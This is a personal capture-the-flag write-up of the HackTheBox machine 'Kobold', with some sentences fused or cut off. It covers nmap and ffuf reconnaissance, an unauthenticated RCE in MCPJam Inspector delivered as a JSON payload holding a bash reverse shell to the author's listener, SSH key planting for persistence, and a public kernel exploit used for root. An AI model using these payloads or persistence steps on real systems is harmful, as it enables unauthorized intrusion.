A documentation of my tought process and approach to solving Kobold on HackTheBox.
sudo -lnmap scan to see which ports were open. To also see additional info about the services behind them, I used the -sC flag and -sV for versions.https://kobold.htb/, so I added it to /etc/hosts.ffuf but it too returned nothing.ffuf -w some-wordlist.txt -u https://FUZZ.kobold.htb/ won't work since any subdomain of kobold.htb also needs an entry in /etc/hosts. Instead, I fuzzed the host header using the following command: ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H 'Host: FUZZ.kobold.htb' -u https://kobold.htb -fl 8. mcp.kobold.htb and bin.kobold.htb, which I then added to /etc/hosts. The -fl 8 flag filters out responses with 8 lines, excluding all false positives. https://mcp.kobold.htb was running an instance of MCPJam Inspector. Looking up MCPJam on https://nvd.nist.gov/vuln/search led me to discover CVE-2026-23744. The vulnerability made unauthenticated remote code execution possible through creating a custom MCP server.Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-15 13:33 CEST
Nmap scan report for kobold.htb (10.129.55.210)
Host is up (0.027s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_ 256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after: 2125-02-19T15:08:55
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-title: Kobold Operations Suite
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
3552/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned in 46.24 secondsPOST request that carried my own payload.{
"serverConfig": {
"command":"/bin/sh",
"args": ["-c", "bash -i >& /dev/tcp/10.10.15.233/9001 0>&1"],
"env":{}
},
"serverId":"pwn"
}9001, I ran the command and nothing happened. I checked my firewall and tried troubleshooting the issue. Turns out >& /dev/tcp/ is specifically a bash feature. So instead of betting that the binary my payload executes, /bin/sh, points to bash, I directly ran /bin/bash instead. The new payload worked and my shell connected! I quickly grabbed the user flag and submitted it on the platform..ssh in ben’s home directory and echoed my SSH public key to .ssh/authorized_keys. Using chmod, I set 700 permissions for the .ssh directory and 600 for authorized_keys. Running ssh with the -i id_ed25519 flag successfully connected me to ben’s user. Using scp, I uploaded linpeas.sh and executed it, which then revealed the kernel was susceptible to CVE-2026-43284, also known as Dirty Frag. After compiling the public exploit and uploading it again with scp, I executed it and got root. It was surprised how easy this part was, so I started reading about the exploit.bin.kobold.htb, which I hadn’t touched. Out of curiosity, I ran linpeas on my own Kali VM that I had set up not long ago (click here to read about it). Turns out it too was susceptible to Dirty Frag, and I was able to verify it by running the exploit on it.